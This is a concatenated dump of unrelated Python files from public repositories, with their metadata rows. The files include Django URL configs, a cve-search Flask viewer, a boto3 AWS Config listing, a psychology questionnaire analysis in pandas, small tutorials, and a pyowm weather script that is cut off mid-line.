cb1b09b13545f6e89fee158e5b5e37ee7d392d73 | 59366342805d7b7682a8c45fd5c11b910e791c21 | /L8包/package/pack1/py1.py | b0fd52ca063138c053548e40274a039e81ea139e | [] | no_license | wantwantwant/tutorial | dad006b5c9172b57c53f19d8229716f1dec5ccd1 | 8d400711ac48212e6992cfd187ee4bfb3642f637 | refs/heads/master | 2022-12-29T05:41:12.485718 | 2019-01-07T08:28:33 | 2019-01-07T08:28:33 | 171,679,026 | 2 | 0 | null | 2022-12-08T01:21:22 | 2019-02-20T13:33:42 | Python | UTF-8 | Python | false | false | 214 | py | def foo():
# 假设代表一些逻辑处理
print('foo')
def boo():
print('boo')
# 单脚本的时候，调用方法
foo()
boo()
print(__name__)
#
# if __name__ =='__main__':
# foo()
# boo()
| [
"778042395@qq.com"
] | 778042395@qq.com |
35da58bdb8be02fba0f38d7f0bb56498199a2c1a | b090cb9bc30ac595675d8aa253fde95aef2ce5ea | /trunk/test/NightlyRun/test304.py | 73f9108132ad2bddc032b4278bf438f74d72234c | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | eyhl/issm | 5ae1500715c258d7988e2ef344c5c1fd15be55f7 | 1013e74c28ed663ebb8c9d398d9be0964d002667 | refs/heads/master | 2022-01-05T14:31:23.235538 | 2019-01-15T13:13:08 | 2019-01-15T13:13:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 837 | py | #Test Name: SquareSheetConstrainedStressSSA3d
from model import *
from socket import gethostname
from triangle import *
from setmask import *
from parameterize import *
from setflowequation import *
from solve import *
md=triangle(model(),'../Exp/Square.exp',180000.)
md=setmask(md,'','')
md=parameterize(md,'../Par/SquareSheetConstrained.py')
md.extrude(3,2.)
md=setflowequation(md,'SSA','all')
md.cluster=generic('name',gethostname(),'np',3)
md=solve(md,'Stressbalance')
#Fields and tolerances to track changes
field_names =['Vx','Vy','Vz','Vel','Pressure']
field_tolerances=[1e-13,1e-13,1e-13,1e-13,1e-13]
field_values=[\
md.results.StressbalanceSolution.Vx,\
md.results.StressbalanceSolution.Vy,\
md.results.StressbalanceSolution.Vz,\
md.results.StressbalanceSolution.Vel,\
md.results.StressbalanceSolution.Pressure,\
]
| [
"cummings.evan@gmail.com"
] | cummings.evan@gmail.com |
5be75593b7002ffbd31b4897bca03ea2ca701912 | cb938bb6201fb7ec3611623b54682a2252a0fc32 | /stud_comms/urls.py | 179f878fc5543e3e915ec1f32679e4628bab1528 | [] | no_license | JonoCX/2015-placement | 35e6ca11dac3841fcf785b4a787a5aadf403e5af | 385d70911cbc70cd9e030665caae44aa4504a685 | refs/heads/master | 2021-01-10T16:39:53.242741 | 2015-11-09T15:01:27 | 2015-11-09T15:01:27 | 45,845,249 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 654 | py | from django.conf.urls import patterns, include, url
from django.contrib import admin
from core.views import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = patterns('',
# Examples:
# url(r'^$', 'stud_comms.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
url(r'^$', views.login, name='login'),
url(r'^admin/', include(admin.site.urls)),
url(r'^comms-system/', include('core.urls')),
url(r'^accounts/login/', views.login),
)
# Precaution; if debug is left on
if settings.DEBUG:
urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_URL) | [
"j.carlton@newcastle.ac.uk"
] | j.carlton@newcastle.ac.uk |
e095364f26d4002c10f2091881651d28c6288ec2 | d732fb0d57ec5430d7b15fd45074c555c268e32c | /misc/config_files/read_config_1.py | 7778e50073f61ca9d0f99726798d819291ac18a6 | [] | no_license | askobeldin/mypython3 | 601864997bbebdabb10809befd451490ffd37625 | 8edf58311a787f9a87330409d9734370958607f1 | refs/heads/master | 2020-04-12T08:01:16.893234 | 2018-02-01T18:23:23 | 2018-02-01T18:23:23 | 60,504,448 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 433 | py | # -*- coding: utf-8 -*-
#
################################################################################
from configparser import ConfigParser, ExtendedInterpolation
import re
import myutils
parser = ConfigParser(interpolation=ExtendedInterpolation(), strict=True)
parser.SECTCRE = re.compile(r"\[ *(?P<header>[^]]+?) *\]")
with open('config1.cfg', encoding='utf-8') as f:
parser.read_file(f)
myutils.showconfig1(parser)
| [
"askobeldin@gmail.com"
] | askobeldin@gmail.com |
b8137ddbd4d31ee1e675044996c2784fc45b202a | 28c1c3afaf5e70c0530b864ead16fa8762ef1ca4 | /ch05_Array/list_size.py | 78660ba7e14c0f9ebf85b4bc2b7a1d1726f1190f | [] | no_license | luoshao23/Data_Structure_and_Algorithm_in_Python | 8059381c21580e3e4f1276089b9fe4f96de385f8 | 051754963ca2eb818b981ba72583314a043e5df4 | refs/heads/master | 2020-04-29T06:29:02.148886 | 2019-05-15T02:46:48 | 2019-05-15T02:46:48 | 175,917,337 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 181 | py | import sys
data = []
n = 27
for k in range(n):
a = len(data)
b = sys.getsizeof(data)
print('Length: {0:3d}; Size in bytes: {1:4d}'.format(a, b))
data.append(None)
| [
"luoshao23@gmail.com"
] | luoshao23@gmail.com |
71d91862e4376636867c0d4e4cf9c0e031276eab | 192494cfac925b9134723185ce9e844b3b13abca | /texteditorlib/autotyping.py | 957de6010fb912e703b50d45e4598123b6a8ca73 | [] | no_license | mdsajjadansari/Text-Editor | 78145511bf7111c8f0e0074656eb466c88c750a6 | 342de71e494afe764d059926ddeaed1604dd8a70 | refs/heads/master | 2022-06-17T14:29:45.861129 | 2020-05-05T00:44:43 | 2020-05-05T00:44:43 | 259,432,738 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 882 | py |
if __name__=='__main__':
from Graphics import Tkinter
else:
from .Graphics import Tkinter
if __name__=='__main__':
from Graphics import Tkinter as tk, tkFileDialog, tkMessageBox
else:
from .Graphics import Tkinter as tk, tkFileDialog, tkMessageBox
import time
import threading
class AutoWrite:
def __init__(self, pad):
self.text = pad
path = tkFileDialog.askopenfilename()
if path:
self.s = open(path, 'r').read()
self.insert_words()
else:
self.s = None
def insert_words(self):
print("[+] Auto Typing Executed")
for i in self.s:
self.text.insert("end", str(i))
time.sleep(0.1)
self.text.master.update()
self.text.master.update_idletasks()
return
if __name__ == '__main__':
root = Tkinter.Tk()
t= Tkinter.Text(root)
t.pack()
k=AutoWrite(t)
s=threading.Thread(target=k.insert_words)
k.insert_words()
s.start()
root.mainloop()
| [
"iamsajjadansari@gmail.com"
] | iamsajjadansari@gmail.com |
ca46b5a2afb0afc86c6767c17a30760e6a097ebe | af46ef78a8e680733efa0056e0388db529a523a3 | /list/is_instance.py | 4a52a23d6b36f6cba7246bfc4960f42ebeba6397 | [] | no_license | mjhea0/python-basic-examples | 90f3aa1cb1a1399a7fe7b1b7e07cced517433490 | aaf4a5458f3e016703b6677033ea17b9cc901596 | refs/heads/master | 2021-01-15T18:31:28.455291 | 2013-09-21T03:59:23 | 2013-09-21T03:59:23 | 13,141,089 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 374 | py | #coding:utf-8
numList = [2000, 2003, 2005, 2006]
stringList = ["Essential", "Python", "Code"]
mixedList = [1, 2, "three", 4]
subList = ["A", "B", ["C", 2006]]
listList = [numList, stringList, mixedList, subList]
for x in listList:
for y in x:
if isinstance(y, int):
print y + 1
if isinstance(y, basestring):
print "String:" + y
| [
"wang.bo@okcash.cn"
] | wang.bo@okcash.cn |
6b19f346e79e3bb234cd98628ac0189f74c1dc9c | 6c3bdcad87e2ddbc6d8e61419b62d91b898071ab | /sdk/python/config/listConfigRules.py | 51a7eddfa4e733f46e2266d99f1048c431a99d72 | [] | no_license | JaydeepUniverse/aws | c6b2a7f93668d7300223be46a418d436233ff9ad | 528043a78dc0a07bc8b0bb1193c7f440f8a5bd1a | refs/heads/master | 2023-02-22T00:41:32.376590 | 2021-01-16T10:17:22 | 2021-01-16T10:17:22 | 292,547,255 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 199 | py | ## Do AWS CLI configuration - aws configure
import boto3
client = boto3.client('config')
rulesList = client.describe_config_rules()
for i in rulesList['ConfigRules']:
print(i['ConfigRuleName'])
| [
"noreply@github.com"
] | JaydeepUniverse.noreply@github.com |
3c7761a66a130162d48b33cc7bb6d62086a049f8 | 1b9dcc5051719fce3fdf6d64ef6b39adc10d5bb3 | /Tools/cve-search-master/web/minimal.py | 8ed4b0e2f7a93f31d4aeed408738049797a0376e | [
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-proprietary-license"
] | permissive | abuvanth/watchdog | 20e0358a6892206fcc794478d2d24c95c838fa4e | 0a0fae253bf4321cdfb83052f56555a5ca77f7b9 | refs/heads/master | 2020-10-01T20:23:53.950551 | 2019-12-12T13:57:56 | 2019-12-12T13:57:56 | 227,618,188 | 2 | 0 | Apache-2.0 | 2019-12-12T13:51:25 | 2019-12-12T13:51:24 | null | UTF-8 | Python | false | false | 8,912 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Minimal web interface to cve-search to display the last entries
# and view a specific CVE.
#
# Software is free software released under the "Modified BSD license"
#
# Copyright (c) 2013-2016 Alexandre Dulaunoy - a@foo.be
# Copyright (c) 2014-2016 Pieter-Jan Moreels - pieterjan.moreels@gmail.com
# imports
import os
import re
import sys
import urllib
_runPath = os.path.dirname(os.path.realpath(__file__))
sys.path.append(os.path.join(_runPath, ".."))
from flask import render_template, request
import lib.DatabaseLayer as db
import lib.Toolkit as tk
from lib.Config import Configuration
from web.api import API, APIError
class Minimal(API):
#############
# Variables #
#############
defaultFilters={'timeSelect': 'all',
'startDate': '', 'endDate': '', 'timeTypeSelect': 'Modified',
'cvssSelect': 'all', 'cvss': '', 'rejectedSelect': 'hide'}
args = {'pageLength': Configuration.getPageLength(),
'listLogin': Configuration.listLoginRequired(),
'minimal': True}
def __init__(self):
self.minimal = True
super().__init__()
routes = [{'r': '/', 'm': ['GET'], 'f': self.index},
{'r': '/', 'm': ['POST'], 'f': self.index_post},
{'r': '/r/<int:r>', 'm': ['GET'], 'f': self.index_filter_get},
{'r': '/r/<int:r>', 'm': ['POST'], 'f': self.index_filter_post},
{'r': '/cve/<cveid>', 'm': ['GET'], 'f': self.cve},
{'r': '/cwe', 'm': ['GET'], 'f': self.cwe},
{'r': '/cwe/<cweid>', 'm': ['GET'], 'f': self.relatedCWE},
{'r': '/capec/<capecid>', 'm': ['GET'], 'f': self.capec},
{'r': '/browse', 'm': ['GET'], 'f': self.browse},
{'r': '/browse/', 'm': ['GET'], 'f': self.browse},
{'r': '/browse/<vendor>', 'm': ['GET'], 'f': self.browse},
{'r': '/search/<vendor>/<path:product>', 'm': ['GET'], 'f': self.search},
{'r': '/search', 'm': ['POST'], 'f': self.freetext_search},
{'r': '/link/<key>/<value>', 'm': ['GET'], 'f': self.link}]
filters = [{'n': 'htmlEncode', 'f': self.htmlEncode},
{'n': 'htmlDecode', 'f': self.htmlDecode},
{'n': 'sortIntLikeStr', 'f': self.sortIntLikeStr}]
context_processors = [self.JSON2HTMLTable]
error_handlers = [{'e': 404, 'f': self.page_not_found}]
for route in routes: self.addRoute(route)
for _filter in filters: self.addFilter(_filter)
for context in context_processors: self.addContextProcessors(context)
for handler in error_handlers: self.app.register_error_handler(handler['e'], handler['f'])
#############
# Functions #
#############
def addFilter(self, _filter):
self.app.add_template_filter(_filter['f'], _filter['n'])
def addContextProcessors(self, context_processor):
self.app.context_processor(context_processor)
def getFilterSettingsFromPost(self, r):
filters = dict(request.form)
filters = {x: filters[x][0] for x in filters.keys()}
errors = False
# retrieving data
try:
cve = self.filter_logic(filters, r)
except Exception as e:
cve = db.getCVEs(limit=self.args['pageLength'], skip=r)
errors = True
return {'filters': filters, 'cve': cve, 'errors': errors}
return(filters,cve,errors)
##########
# ROUTES #
##########
# /
def index(self):
cve = self.filter_logic(self.defaultFilters, 0)
return render_template('index.html', cve=cve, r=0, **self.args)
# /
def index_post(self):
args = dict(self.getFilterSettingsFromPost(0), **self.args)
return render_template('index.html', r=0, **args)
# /r/<r>
def index_filter_get(self, r):
if not r or r < 0: r = 0
cve = self.filter_logic(self.defaultFilters, r)
return render_template('index.html', cve=cve, r=r, **self.args)
# /r/<r>
def index_filter_post(self, r):
if not r or r < 0: r = 0
args = dict(self.getFilterSettingsFromPost(r), **self.args)
return render_template('index.html', r=r, **args)
# /cve/<cveid>
def cve(self, cveid):
cve = self.api_cve(cveid)
if not cve:
return render_template('error.html',status={'except':'cve-not-found','info':{'cve':cveid}},minimal=self.minimal)
return render_template('cve.html', cve=cve, minimal=self.minimal)
# /cwe
def cwe(self):
cwes=[x for x in self.api_cwe() if x["weaknessabs"].lower()=="class"]
return render_template('cwe.html', cwes=cwes, capec=None, minimal=self.minimal)
# /cwe/<cweid>
def relatedCWE(self, cweid):
cwes={x["id"]: x["name"] for x in self.api_cwe()}
return render_template('cwe.html', cwes=cwes, cwe=cweid, capec=db.getCAPECFor(cweid), minimal=self.minimal)
# /capec/<capecid>
def capec(self, capecid):
cwes={x["id"]: x["name"] for x in self.api_cwe()}
return render_template('capec.html', cwes=cwes, capec=db.getCAPEC(capecid), minimal=self.minimal)
# /browse
# /browse/
# /browse/<vendor>
def browse(self, vendor=None):
try:
data = self.api_browse(vendor)
if 'product' in data and 'vendor' in data:
return render_template('browse.html', product=data["product"], vendor=data["vendor"], minimal=self.minimal)
else:
return render_template('error.html', minimal=self.minimal, status={'except':'browse_exception', 'info': 'No CPE'})
except APIError as e:
return render_template('error.html', minimal=self.minimal, status={'except':'browse_exception', 'info':e.message})
# /search/<vendor>/<product>
def search(self, vendor=None, product=None):
search = vendor + ":" + product
cve = db.cvesForCPE(search)
return render_template('search.html', vendor=vendor, product=product, cve=cve, minimal=self.minimal)
# /search
def freetext_search(self):
search = request.form.get('search')
result = db.getSearchResults(search)
cve=result['data']
errors=result['errors'] if 'errors' in result else []
return render_template('search.html', cve=cve, errors=errors, minimal=self.minimal)
# /link/<key>/<value>
def link(self, key=None,value=None):
key=self.htmlDecode(key)
value=self.htmlDecode(value)
regex = re.compile(re.escape(value), re.I)
cve=db.via4Linked(key, regex)
cvssList=[float(x['cvss']) for x in cve if x.get('cvss')]
if cvssList:
stats={'maxCVSS': max(cvssList), 'minCVSS': min(cvssList),'count':len(cve)}
else:
stats={'maxCVSS': 0, 'minCVSS': 0, 'count':len(cve)}
return render_template('linked.html', via4map=key.split(".")[0], field='.'.join(key.split(".")[1:]),
value=value, cve=cve, stats=stats, minimal=self.minimal)
###########
# Filters #
###########
def htmlEncode(self, string):
return urllib.parse.quote_plus(string).lower()
def htmlDecode(self, string):
return urllib.parse.unquote_plus(string)
def sortIntLikeStr(self, datalist):
return sorted(datalist, key=lambda k: int(k))
def JSON2HTMLTable(self):
# Doublequote, because we have to |safe the content for the tags
def doublequote(data):
return urllib.parse.quote_plus(urllib.parse.quote_plus(data))
def JSON2HTMLTableFilter(data, stack = None):
_return = ""
if type(stack) == str: stack = [stack]
if type(data) == list:
if len(data) == 1:
_return += JSON2HTMLTableFilter(data[0], stack)
else:
_return += '<ul class="via4">'
for item in data:
_return += ('<li>%s</li>'%JSON2HTMLTableFilter(item, stack))
_return += '</ul>'
elif type(data) == dict:
_return += '<table class="invisiTable">'
for key, val in sorted(data.items()):
_return += '<tr><td><b>%s</b></td><td>%s</td></tr>'%(key, JSON2HTMLTableFilter(val, stack+[key]))
_return += '</table>'
elif type(data) == str:
if stack:
_return += "<a href='/link/"+doublequote('.'.join(stack))+"/"+doublequote(data)+"'>" #link opening
_return += "<span class='glyphicon glyphicon-link' aria-hidden='true'></span> </a>"
_return += "<a target='_blank' href='%s'>%s</a>"%(data, data) if tk.isURL(data) else data
_return += ""
return _return
return dict(JSON2HTMLTable=JSON2HTMLTableFilter)
##################
# Error Messages #
##################
def page_not_found(self, e):
return render_template('404.html', minimal=self.minimal), 404
if __name__ == '__main__':
server = Minimal()
server.start()
| [
"mohan.kk@flipkart.com"
] | mohan.kk@flipkart.com |
48b2e11482852404b0d42df21d5e7252714aaf19 | 53bff3de85c6e04b448623a4f71b062b6a102974 | /PhysicalCuriosity/PhysicalCuriosityStudy.py | 7c0705c53a8edc453845c489f3ae6af609f8bd3b | [] | no_license | rinatrosenbergkima/pandas | 366f9e35f753f0dd5e3016d1e79d22028171e656 | 1ed61618105f776af072380da8b521f47f4236ae | refs/heads/master | 2021-09-27T20:28:16.485741 | 2018-11-11T16:32:12 | 2018-11-11T16:32:12 | 109,816,383 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,246 | py | #tutorial:
#https://github.com/QuantScientist/Deep-Learning-Boot-Camp/blob/master/day01/Intro_ml_models.ipynb
#https://github.com/QuantScientist/Deep-Learning-Boot-Camp/blob/master/day01/predicting_income_from_census_income_data.ipynb
# > this is how to install pandas
# > sudo easy_install pip
# > pip install wheel
# > pip install pandas
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.cbook as cbook
df_AQ = pd.read_csv('data/AQ.csv', sep=',')
df_BFI = pd.read_csv('data/BFI.csv', sep=',')
df_demographics = pd.read_csv('data/demographics.csv', sep=',')
df_tablet = pd.read_csv('data/tablet.csv', sep=',')
df_summary = pd.DataFrame ()
def process_BFI():
# Reverse BFI:
df_BFI["BFI_6r"] = 6 - df_BFI["BFI_6"]
df_BFI["BFI_21r"] = 6 - df_BFI["BFI_21"]
df_BFI["BFI_9r"] = 6 - df_BFI["BFI_9"]
df_BFI["BFI_24r"] = 6 - df_BFI["BFI_4"]
df_BFI["BFI_34r"] = 6 - df_BFI["BFI_34"]
df_BFI["BFI_2r"] = 6 - df_BFI["BFI_2"]
df_BFI["BFI_12r"] = 6 - df_BFI["BFI_12"]
df_BFI["BFI_27r"] = 6 - df_BFI["BFI_27"]
df_BFI["BFI_37r"] = 6 - df_BFI["BFI_37"]
df_BFI["BFI_8r"] = 6 - df_BFI["BFI_8"]
df_BFI["BFI_18r"] = 6 - df_BFI["BFI_18"]
df_BFI["BFI_23r"] = 6 - df_BFI["BFI_23"]
df_BFI["BFI_43r"] = 6 - df_BFI["BFI_43"]
df_BFI["BFI_35r"] = 6 - df_BFI["BFI_35"]
df_BFI["BFI_41r"] = 6 - df_BFI["BFI_41"]
# calculate the big 5 factors:
df_BFI["BFI_extraversion"] = df_BFI[["BFI_1","BFI_6r","BFI_11","BFI_16","BFI_21r","BFI_26","BFI_31","BFI_36"]].mean(axis=1)
df_BFI["BFI_neuroticism"] = df_BFI[["BFI_4","BFI_9r","BFI_14","BFI_24r","BFI_29","BFI_34r","BFI_39"]].mean(axis=1)
df_BFI["BFI_agreeableness"] = df_BFI[["BFI_2r","BFI_7","BFI_12r","BFI_17","BFI_22","BFI_27r","BFI_32","BFI_37r","BFI_42"]].mean(axis=1)
df_BFI["BFI_concientiousness"] = df_BFI[["BFI_3","BFI_8r","BFI_13","BFI_18r","BFI_23r","BFI_28","BFI_33","BFI_38","BFI_43r"]].mean(axis=1)
df_BFI["BFI_openness"] = df_BFI[["BFI_5","BFI_10","BFI_15","BFI_20","BFI_25","BFI_30","BFI_35r","BFI_40","BFI_41r","BFI_44"]].mean(axis=1)
def process_AQ():
# reverse AQ (Autism Spectrum Quotient Questions)
## http://aspergerstest.net/interpreting-aq-test-results/
df_AQ["AQ_3"] = 6 - df_AQ["AQ_3"]
df_AQ["AQ_8"] = 6 - df_AQ["AQ_8"]
df_AQ["AQ_10"] = 6 - df_AQ["AQ_10"]
df_AQ["AQ_11"] = 6 - df_AQ["AQ_11"]
df_AQ["AQ_14"] = 6 - df_AQ["AQ_14"]
df_AQ["AQ_15"] = 6 - df_AQ["AQ_15"]
df_AQ["AQ_17"] = 6 - df_AQ["AQ_17"]
df_AQ["AQ_24"] = 6 - df_AQ["AQ_24"]
df_AQ["AQ_25"] = 6 - df_AQ["AQ_25"]
df_AQ["AQ_27"] = 6 - df_AQ["AQ_27"]
df_AQ["AQ_28"] = 6 - df_AQ["AQ_28"]
df_AQ["AQ_29"] = 6 - df_AQ["AQ_29"]
df_AQ["AQ_30"] = 6 - df_AQ["AQ_30"]
df_AQ["AQ_31"] = 6 - df_AQ["AQ_31"]
df_AQ["AQ_32"] = 6 - df_AQ["AQ_32"]
df_AQ["AQ_34"] = 6 - df_AQ["AQ_34"]
df_AQ["AQ_36"] = 6 - df_AQ["AQ_36"]
df_AQ["AQ_37"] = 6 - df_AQ["AQ_37"]
df_AQ["AQ_38"] = 6 - df_AQ["AQ_38"]
df_AQ["AQ_40"] = 6 - df_AQ["AQ_40"]
df_AQ["AQ_44"] = 6 - df_AQ["AQ_44"]
df_AQ["AQ_47"] = 6 - df_AQ["AQ_47"]
df_AQ["AQ_48"] = 6 - df_AQ["AQ_48"]
df_AQ["AQ_49"] = 6 - df_AQ["AQ_49"]
df_AQ["AQ_50"] = 6 - df_AQ["AQ_50"]
# Definitely agree or Slightly agree responses to questions 1, 2, 4, 5, 6, 7, 9, 12, 13, 16, 18, 19, 20, 21, 22, 23, 26, 33, 35, 39, 41, 42, 43, 45, 46 score 1 point.
# Definitely disagree or Slightly disagree responses to questions 3, 8, 10, 11, 14, 15, 17, 24, 25, 27, 28, 29, 30, 31, 32, 34, 36, 37, 38, 40, 44, 47, 48, 49, 50 score 1 point.
for column in df_AQ.iloc[:,1:51]:
df_AQ[column] = (df_AQ[column]>3)*1 # Give one point to questions who score less than 3
df_AQ["AQ_total"] = df_AQ.iloc[:,1:51].sum(axis=1)
def create_df_summary():
# create data frame with the important data
df_summary["id"] = df_AQ["id"]
df_summary["demographics_age"] = df_demographics["age"]
df_summary["demographics_gender"] = df_demographics["gender"]
df_summary["demographics_grades"] = df_demographics["grades"]
df_summary["demographics_psychometrics"] = df_demographics["psychometrics"]
df_summary["demographics_control_robot"] = df_demographics["control_robot"]
df_summary["demographics_q1"] = df_demographics["q1"]
df_summary["demographics_q2"] = df_demographics["q2"]
df_summary["demographics_q3"] = df_demographics["q3"]
df_summary["tablet_transition_entropy"] = df_tablet["transition_entropy"]
df_summary["tablet_multi_discipline_entropy"] = df_tablet["Multi_discipline_entropy"]
df_summary["tablet_multi_discipline_entropy"] = df_tablet["Multi_discipline_entropy"]
df_summary["tablet_psycholetrics"] = df_tablet["PSY"]
df_summary["tablet_normalized_total_listenning_time"] = df_tablet["normalized_total_listenning_time"]
df_summary["BFI_extraversion"] = df_BFI["BFI_extraversion"]
df_summary["BFI_neuroticism"] = df_BFI["BFI_neuroticism"]
df_summary["BFI_agreeableness"] = df_BFI["BFI_agreeableness"]
df_summary["BFI_concientiousness"] = df_BFI["BFI_concientiousness"]
df_summary["BFI_openness"] = df_BFI["BFI_openness"]
df_summary["AQ_total"] = df_AQ["AQ_total"]
#print(df_summary)
def correlation_matrix(df,title):
from matplotlib import pyplot as plt
from matplotlib import cm as cm
print("correlation_matrix")
fig = plt.figure()
ax1 = fig.add_subplot(111)
cmap = cm.get_cmap('jet', 10)
cax = ax1.imshow(df.corr(), interpolation="nearest", cmap=cmap)
ax1.grid(True)
plt.title(title)
labels=list(df) #the dataframe headers
print(labels)
ax1.set_xticklabels(labels,fontsize=4, rotation='vertical')
ax1.set_yticklabels(labels,fontsize=4)
# Add colorbar, make sure to specify tick locations to match desired ticklabels
fig.colorbar(cax, ticks=[0,.05,.10,.15,.20,.25,.30,.35,.40,.45,.50,.55,.60,.65,.70,.75,.8,.85,.90,.95,1])
plt.show()
def correlation_summary(df):
corr = df.corr()
print(corr)
plt.matshow(corr)
headers = list(df_summary)
x_pos = np.arange(len(headers))
plt.xticks(x_pos, headers, rotation='vertical', fontsize=4)
y_pos = np.arange(len(headers))
plt.yticks(y_pos, headers, fontsize=4)
plt.show()
def plot_correlations(x,y):
#plt.plot(df_summary["demographics_psychometrics"], df_summary["BFI_extraversion"], 'ro')
#plt.axis([400, 800, 0, 5])
#plt.show()
fig, ax = plt.subplots()
idx = np.isfinite(x) & np.isfinite(y)
fit = np.polyfit(x[idx], y[idx], deg=1)
ax.plot(x[idx], fit[0] * x[idx] + fit[1], color='red')
ax.scatter(x, y)
fig.show()
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
process_BFI()
process_AQ()
create_df_summary()
#correlation_summary(df_summary)
#correlation_matrix(df_summary,"correlations")
plot_correlations(df_summary["demographics_psychometrics"],df_summary["BFI_extraversion"])
#plt.plot(df_summary["demographics_grades"],df_summary["BFI_extraversion"], 'ro')
#plt.plot(df_summary["BFI_concientiousness"],df_summary["tablet_normalized_total_listenning_time"], 'ro')
| [
"rinat.rosenberg.kima@gmail.com"
] | rinat.rosenberg.kima@gmail.com |
b29c5e65d26f5c8c0c9f722d200de823dcf5af31 | a478489da108ec850795ac24f798a0ac75bb4709 | /Standard_deviation-master/graphs/class1.py | d9180f882b2dbfe906f689b678c6b6f76b08ae4f | [
"MIT"
] | permissive | LiamBrower/Class-105 | 9ff0f54f98b3bc1a2e0b659cc67995a0b7b1c604 | 11b2aeaf8ad5836bd2da113261bbfb7abd52d441 | refs/heads/main | 2023-08-16T07:13:37.831836 | 2021-10-12T23:53:30 | 2021-10-12T23:53:30 | 416,531,978 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 766 | py | import csv
with open(r'C:\Users\docto\Dropbox\WhiteHatJr\Class-105\Standard_deviation-master\graphs\class1.csv', newline='') as f:
reader = csv.reader(f)
file_data = list(reader)
#To remove headers from CSV
file_data.pop(0)
total_marks = 0
total_entries = len(file_data)
for marks in file_data:
total_marks += float(marks[1])
mean = total_marks / total_entries
print("Mean (Average) is -> "+str(mean))
import pandas as pd
import plotly.express as px
df = pd.read_csv("class1.csv")
fig = px.scatter(df, x="Student Number",
y="Marks"
)
fig.update_layout(shapes=[
dict(
type= 'line',
y0= mean, y1= mean,
x0= 0, x1= total_entries
)
])
fig.update_yaxes(rangemode="tozero")
fig.show()
| [
"noreply@github.com"
] | LiamBrower.noreply@github.com |
32d8b228910b00555072d555646b4a470a56bb2b | 0ce37bdeab869e0b20dab275f0f7e1b3bf7dcb60 | /project/project/urls.py | bd5366ef2d10037ae18a26c664cd0fb65e54585f | [
"MIT"
] | permissive | amritharun/squirrel-tracker | c9fcd15a59f73b4d80d072c190b74f7bd3d2239e | e3d0223ede58b442c53a0fa931ed59d4443ed4a1 | refs/heads/main | 2022-12-30T19:40:56.716080 | 2020-10-22T19:58:40 | 2020-10-22T19:58:40 | 302,137,821 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 797 | py | """project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('tracker.urls')),
]
| [
"aa4053@columbia.edu"
] | aa4053@columbia.edu |
83416776a453799aedb29e38b0934f13e88a005a | c49e1cf78851aec6b3df5b4774d16020e919ed65 | /server/server/urls.py | d8c5d72f20c89ab8c18390b24afdb2f68626b3fe | [] | no_license | weeksling/product-tracking-portal | 5c3e41ae773f49440ff74adc4d3352133fe9485a | 4f10c573a18eeac19d6aed3bf3008d180ccb0a07 | refs/heads/master | 2021-01-06T20:35:14.141517 | 2017-08-13T23:30:39 | 2017-08-13T23:30:39 | 99,381,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 927 | py | """server URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import include, url
from django.contrib import admin
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^api/', include('api.urls', namespace='api', app_name='api')),
url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))
] | [
"weeksling@gmail.com"
] | weeksling@gmail.com |
ad703714edd63c2fc81280105c049bd81f3fb31a | 7d5af69c8ff72a003d171072e0f025400f309fc8 | /get_weather_pyowm.py | 38365653e54613d36283e50afb8d54fcdea697d8 | [] | no_license | elormcent/centlorm | a47f033e39fc9e093607e3705613fcd07bb8852d | ec7a60faa2dc2c196247ccd44d2fb6dbd7c2bdad | refs/heads/master | 2020-06-18T07:43:52.555439 | 2019-07-15T16:14:21 | 2019-07-15T16:14:21 | 196,219,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,479 | py | import pyowm
from gpiozero import LED
from time import sleep
def Weather_Forecast():
city = input("Enter Name of City with space :- ")
country = input("Enter Name of Country :- ")
led = LED(17)#yellow
led1 = LED(18)#red
led2 = LED(27)#green
apikey = '51c6723dd2f51626dd33896729e79676'
owm = pyowm.OWM(apikey)
observation = owm.weather_at_place('city, country')
w = observation.get_weather()
winds = w.get_wind()
humidities = w.get_humidity()
tempreture = w.get_temperature()
presh = w.get_pressure()
clud = w.get_clouds()
ran = w.get_rain()
snoww = w.get_snow()
print(" The weather information ")
if winds['speed'] < 15:
